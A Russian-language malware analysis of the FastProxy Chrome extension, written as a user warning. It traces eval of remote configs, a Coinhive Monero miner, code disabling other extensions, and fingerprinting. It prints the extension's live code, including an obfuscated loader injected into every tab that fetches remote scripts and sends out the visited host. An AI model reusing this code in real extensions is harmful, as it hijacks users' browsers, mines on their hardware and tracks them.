В этой статье я покажу насколько опасны могут быть расширения в хроме, и чем
расширения в фаерфоксе безопаснее.
Речь пойдёт о расширении FastProxy.
Ни в коем случае не ставьте его в чистом виде в хроме.
Чтобы получить его исходный код — сначала надо поставить другое расширение Chrome extension source viewer.
После этого открыть страницу.
Иконка CRX при этом станет жётлой — кликнуть на неё и Выбрать "скачать как zip".
Теперь к анализу кода.
1. Manifest (manifest.json) — ядро любого расширения
Ограничения расширения задаются CSP (content security policy) и permissions:
"content_security_policy": "script-src 'self' 'unsafe-eval' https://ssl.google-analytics.com; object-src 'self'",
"permissions": [ "proxy", "tabs", "webRequest", "webRequestBlocking", "management", "u003Call_urls>", "storage" ],
CSP должна сразу насторожить, она позволяет unsafe-eval (подробнее об этом здесь).
Т.е. исполнять код из любой переданной строки.
- Разрешение
management
позволяет управлять другмии расширениями. - Разрешение
webRequestBlocking
позволяет подменять абсолютно все запросы, проходящие через браузер. - Разрешение
u003Call_urls>
это тоже самое что<all_urls>
— позволяет действовать на любом сайте.
Подробнее о разрешениях можно узнать здесь.
Т.е. на базе лишь одного файла манифеста расширение уже имеет огромный уровень доступа ко всему.
Ключевые файлы кода перечислены в
"background": {
"scripts": [ "lib.js", "jquery.min.js", "background.js", "ga.js" ]
},
Выполняются по порядку в массиве сразу после установки расширения или сразу после запуска браузера.
2. Анализ файлов фонового процесса
Код минимифирован и запутан. Для распутывания будем использовать сайт http://jsbeautifier.org/ с дефолтными настройками.
- Файл jquery.min.js я сравнил с оригинальным кодом jquery 2.2.4 — они совпадают.
- Файл ga.js это просто код Google Analytics.
- Файл lib.js это CryptoJS.
- Основной код сосредоточен в background.js.
Чтобы было намного легче читать код, я его немного переписал (переименовал функции, поменял запятые на отдельные блоки и т.п.).
Также можно использовать firefox-версию того же расширения, чтобы понять неосновную часть кода.
Использование proxy в фаерфоксе и хроме кардинально отличается.
Чтобы скачать firefox-версию расширения, нужно открыть в фаерфоксе ссылку.
Скопировать ссылку на "Добавить в Firefox" и открыть её в хроме.
Открывать также как zip-архив.
Переписанный код можно найти по этой ссылке.
3. Анализ background.js
Прежде всего нужно понимать что $.ajax
выполненный на файле со скриптом внедряет этот скрипт в страницу (в данном случае не в страницу, а в фоновый процесс).
Настораживают строки
localStorage.C = JSON.stringify(
[
"U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==",
"U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ=="
]
);
Они уже как бы говорят нам, что дело тут не чисто.
Добавляем console.log
после CryptoJS.AES.decrypt( JSON.parse( localStorage.C)[cc], "config")
и CryptoJS.AES.decrypt( JSON.parse(localStorage.P)[pc], "record")
, запрещая выполнение самих аяксов.
При этом в строке JSON.parse( localStorage.C)[cc]
(и аналогичной для record) cc меняем от 0 до 1 (в дальнейшем и до 2, когда увидим массивы из 3 элементов).
Получаем ссылки:
для config это
http://proxyrus.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4 (1)
http://proxy-fast.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4 (2)
для record это
http://proxyrus.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4 (3)
http://proxy-fast.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4 (4)
Причём ссылки отдают данные только при использовании с обоими параметрами uid и version, а также только через $.ajax или fetch. Посмотреть просто открыв через браузер не получится — видимо стоят проверки на входящие заголовки.
А теперь перейдём к тому, что отдают эти аяксы. Если вы хотите прочитать их сами, лучше используйте просто fetch в каком-то ином проекте (потребуется поставить расширения, которые разблокируют CORS в браузере).
config_proxyrus.ru.js
Итак, первая ссылка отдает нам скрипт, который будет автоматически внедрён в фоновый процесс, т.к. 'unsafe-eval' присутствует, а ограничений по ссылкам нет в CSP.
Стоит отметить строку
function antiZapret (tabId, changeInfo, tab) {
if (typeof(tab.url) != 'undefined' && changeInfo.status == 'complete') {
chrome.tabs.executeScript(tabId,{code: "if (document.body.innerText.indexOf('Антизапрет: ОШИБКА') != -1) document.body.innerHTML = '<center style="margin-top: 50px; font-size:20px;">Сайт временно не работает.<br><br>Повторите запрос позже.</center>'",runAt:"document_start"});
}
Вбиваем в поиске "антизапрет fastproxy" и открываем 4й результат поиска, раздел "Будьте осторожны".
Выясняется, что FastProxy использует не свои proxy сервера.
config_proxy-fast.ru.js
Вторая ссылка дает код аналогичный первой, но скрипт уже другой!
function closeWindow () {
const time = 500;
// Повторять каждые полсекунды
setInterval(function() {
// Взять текущий выбранный таб
chrome.tabs.getSelected(null, function (details) {
// если у него нет id - закрыть
if (details.id == -1)
window.close();
})
}, time);
}
closeWindow();
Обычно у всех табов есть id. Исключение составляет таб-окно консоли браузера. Т.е. это защита от подсматривания через консоль.
Также этот файл содержит новые урлы, расшифруем их, используя CryptoJS.AES.decrypt( value, "config").toString(CryptoJS.enc.Utf8)
и CryptoJS.AES.decrypt( value, "record").toString(CryptoJS.enc.Utf8)
.
Первые 2 ссылки совпадают с предыдущими. Но третья отличается:
Для 'record' же все 3 ссылки новые.
http://proxyrus.ru/proxy/config/data_ru.txt
http://proxy-fast.ru/proxy/config/data_ru.txt
http://fastproxy.ga/proxy/config/data_ru.txt
config_fastproxy.ga.js
По факту не отличается от config_proxy-fast.ru.js
Вернёмся к config_proxyrus.ru.js
Код также содержит закрытие консоли. Дальше начинается уже интересное.
Строка
var ext_id = chrome.app.getDetails().id;
достает идентификатор расширения, причём это недокументированная возможность.
Текущая документация использует иной метод
Далее идёт разветвление:
if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') {
localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]);
localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]);
chrome.runtime.reload(); // полная перезагрузка расширения
}
else {
localStorage.C = JSON.stringify([
"U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==",
"U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==",
"U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==",
]);
localStorage.P = JSON.stringify([
"U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==",
"U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==",
"U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==",
]);
}
Те же три ссылки в случае если ext_id
не попадает в нужный список расширений.
И одна новая ссылка, если попадает в список расширений + полная перезагрузка расширения.
Если кому удастся найти, что это были за расширения — напишите в комментариях. С текущим id FastProxy совпадений нет. Поиск через google store не дает ничего по их идентификаторам.
Расшифровка ссылок
localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]);
localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]);
дает
http://prowebdom.ru/update/test/proxy/config/config_ru.js
http://prowebdom.ru/update/test/proxy/config/data_ru.pac
которые могут быть открыты прямо в браузере.
config_prowebdom.ru.js
Снова закрытие консоли. А дальше уже самое интересное.
var coin = $.get("https://coinhive.com/lib/coinhive.min.js");
coin.done(() => {
var miner = new CoinHive.User('aUvlRg4eSsDf6wcFmMZPjQ57JDUUR3IR', 'FPR', {autoThreads: true});
miner.start();
})
^ Запуск майнера Monero. Запомните кстати кошелёк, если увидите где-то в коде аналогичный — это те же люди.
function removeAdBlockExtensions () {
window.chrome.management.getAll((extensions) => {
extensions.forEach((e) => {
if (e.enabled && e.id != window.chrome.runtime.id) {
window.chrome.management.setEnabled(e.id, false);
}
});
});
}
removeAdBlockExtensions();
Этот код отключает все расширения, кроме него самого.
Если бы не было разрешения managament, это было бы не возможно.
Далее
chrome.tabs.onUpdated.addListener(onUpdatedListenerSearch);
и
function onUpdatedListenerSearch(tabId, changeInfo, tab) {
if (typeof(tab.url) != 'undefined') {
var ext_id = chrome.app.getDetails().id;
if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf') {
if (tab.url.indexOf('google') == -1) {
// в каждый таб внедряется скрипт после полной загрузки страницы в этом табе
chrome.tabs.executeScript(tabId, {code:"!function(){var b={a3759370402:'30022',a1072190280:'{subid}',a2302729239:JSON.parse('["7a72793462736f702e7275","746b636d36686a762e7275"]')},c=function(h,j,k){for(var l=[].slice.call(k),m=h.split('.'),p=m.pop(),q=0;q<m.length;q++)j=j[m[q]];return j[p].apply(j,l)},d=function(h){if(!(h=h.match(/.{1,2}/g)))return'';for(var j='',k=0;k<h.length;k++)j+=c('fromCharCode',String,[parseInt(h[k],16)]);return j},f=function(h,j,k){if('undefined'==typeof a2690641770||!a2690641770(document.location.protocol+'//'+h))if(document.head){var l=document.createElement('script');l.setAttribute('src',document.location.protocol+'//'+h),l.setAttribute('type','text/javascript'),document.head.appendChild(l),l.onload=function(){this.a982392846||(this.a982392846=!0,'function'==typeof j&&j())},l.onerror=function(){this.a982392846||(this.a982392846=!0,l.parentNode.removeChild(l),'function'==typeof k&&k())}}else setTimeout(function(){f(h,j,k)},10)},g=function(h){if(!(0>=b.a3759370402||0>b.a1072190280)){var j=h||b.a2302729239[0],k=d(j)+'/'+['d6s','afu','ndj','enk','6af'].join('')+'/'+b.a3759370402+'_'+b.a1072190280+'.js';f(k,function(){},function(){var l=b.a2302729239.indexOf(j),m=b.a2302729239[l+1];m&&g(m)})}};b.a3759370402=parseInt(b.a3759370402)||0,b.a1072190280=parseInt(b.a1072190280)||0,g()}();/* k */", runAt: 'document_end'}, callback);
}
}
}
}
tabs.onUpdated запускает колбэк при обновлении одной из стадий загрузки таба на другую. Подробнее тут.
Проще говоря действует на каждый таб.
if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf')
Кроме FastProxy самого. Видимо была серия нескольких расширений, которые работали как вирусы.
if (tab.url.indexOf('google') == -1) {
Все урлы, кроме тех, что содержит строку google. Видимо потому, что табы с гугл временные. Истиная причина мне не понятна.
И самое страшное — в каждый таб внедряется скрипт после полной загрузки страницы в этом табе:
script1.js
Прогняем его через JS beautifier.
script2.js
Игры с символами можно опустить благодаря console.log.
Самое опасное начинается там где создается тег script.
var l = document.createElement('script');
Меня интересует в первую очередь либо его innerHTML либо src.
l.setAttribute('src', document.location.protocol + '//' + h)
Левая часть понятна — протокол текущей страницы. Правая же часть это фактическая ссылка. Поставим туда console.log
Получаем
zry4bsop.ru/d6safundjenk6af/30022_0.js
script3.js
Аналогично прогоняем через JS beautifier
script4.js
Принцип файла такой же — самая опасная часть это добавление скрипта.
var e = document.createElement("script");
e.setAttribute("src", document.location.protocol + "//" + t);
Получаем
zry4bsop.ru/d6safundjenk6af/30022_0/c_646576656c6f7065722e6d6f7a696c6c612e6f7267_0.js
если запускать на сайте MDN
На productforums.google.com же
zry4bsop.ru/d6safundjenk6af/30022_0/c_70726f64756374666f72756d732e676f6f676c652e636f6d_0.js
Выходит правая часть к чему-то привязана
Смотрим по коду
document.location.hostname ? document.location.hostname : document.location.toString().split("/")[2]
упоминается в самовызывающейся функции f
затем f упоминается в
var n = o(i[t]) + "/" + ["d6s", "afu", "ndj", "enk", "6af"].join('') + "/" + a + "/c_" + f + "_" + c + ".js";
Т.е. через символьные операции в скрипт передаётся посещаемый URL.
Смотрим на сам код скриптов, они совпадают.
script5.js
Опять прогоняем через JS beautifier.
script6.js
Не переписывая код, можно посмотреть на добавления узлов, создание скриптов, замену кук,
создание элементов с нуля, аяксы. Но довольно сложно понять что происходит на самом деле.
Так что попытаемся переименовать эти нумерованные функции.
script7.js
Распутывание этого файла было тяжелым. Тяжелее всего проходить через постоянные создания объектов, которые создают объекты, которые создают объекты… А также тяжело было найти чистые функции чтобы начать распутывать клубок.
Мне не удалось до конца распутать код. Но то, что распутал дает следующее:
Сборка полного отпечатка о пользователе, которая затем конвертируется в уникальную строку через серию битовых операций.
Этот отпечаток включает в себя:
- UserAgent
- Сведения об установленных плагинах (для IE особенно). Особо тут стоит упомянуть строку про Palemoon. Дело в том, что Palemoon позволяет использовать Java.
- Сведения об используемом процессоре
- Сведения об установленных шрифтах (функция getFontData). Причём по коду заложена возможность использовать расширенный список шрифтов, помимо системного. Но используется только системный
- Уникальный отпечаток по canvas (функция get2dCanvasFingerprint). Учитывая что он использует несколько нестандартных символов есть проверка на наличие установленных языков в системе.
- Уникальный отпечаток по webgl (функция getWebglFingerprint)
- Проверка фальшивости поставляемых navigator данных (функция hasFalseBrowser). Особенно в этом плане интересно использование eval.toString(), чтобы понять что за браузер используется на самом деле. Никогда бы об этом не догадался.
Есть функция, которая запускает XMLHttpRequest. Но она не используется в коде и не запускается при запуске скрипта.
Есть функция, которая внедряет флеш на страницу, но по факту она не используется.
Особо посмотрите коды сбора отпечатков canvas / webgl.
Есть внедрение айфрейма на страницу (метод appendBadIframe1).
Теперь посмотрим что находится в этом айфрейме.
iframe1
Прогоняем через JS beautifier.
iframe2
По коду это обменник информацией с основным скриптом. Если основной скрипт это по большей части битовые операции, то айфрейм это прогоны через вычисляемые свойства объектов. Используя window.postMessage они обменваются сообщениями между собой.
Вернёмся к script7.js
Исполнение файла создает 6 запросов XHR (причём через создание Img), а также при клике на страницу открывается новое окно.
Расшифрованные ссылки для запросов можно найти в коде.
Вернёмся к расширению
Вернёмся к расширению и ссылкам record. Эти ссылки используются как PAC-файл для метода chrome.proxy.settings.set.
Коды файлов можно найти тут:
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_fastproxy.ga.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_prowebdom.ru.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxy-fast.ru.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxyrus.ru.js
Общая суть файлов — на заблокированные домены и айпи повесить доступ через прокси, а на прочее DIRECT, т.е. доступ без прокси.
Отличается набор серверов и набор заблокированных доменов/айпи.
Разберёмся чьи сервера помимо Автозапрета (antizapret.prostovpn.org) использует FastProxy.
Вбиваем postls.com в поиск. Открываем первую ссылку.
To block the Browsec extension, you will need to create a VPM rule which will block destination URL IP/host name
browsec.com
postlm.com
postls.com
Т.е. FastProxy использует сервера Антизапрета и Browsec, не имея своих собственых серверов.
4. Про потенциал расширения
При помощи разрешения webrequest + webrequestBlocking можно поменять абсолютно любой запрос, включая внутренние запросы внутри самого хрома.
Т.е. можно полностью поменять HTML-страницы, можно убрать мешающие заголовки в запросах, включая CSP (content security policy) сайта.
При помощи своего прокси можно слить весь траффик пользовтаеля, который идёт через свой прокси.
5. Про политику расширений Google и Mozilla
Политика гугла значительно мягче чем политика мозиллы, они публикуют практически всё.
У мозиллы есть жёсткие требования: unsafe-eval запрещён, запутывание кода запрещено (разрешено, если предоставите полный сборщик).
Также мозилла сама периодически смотрит коды расширений, но не сразу после публикации.
Побробнее можно прочитать здесь и здесь.
По этой причине ставить новые расширения фаерфокса намного спокойней чем расширения хрома.
6. Что нового я узнал в коде:
navigator отдает нереально много уникальных данных о браузере, нежели это было в прошлом. И скорей всего будет отдавать ещё больше в будущем.
eval.toString, также как и иные нативные функции позволят вычислить настоящую версию браузера.
Уникальный отпечаток по canvas и webgl.
7. Вопросы к читателям
Если кто-то работал с webgl, расскажите пожалуйста что делает функция getWebglFingerprint. И что там получается уникального?
Все исходники можно найти тут
Автор: Рустам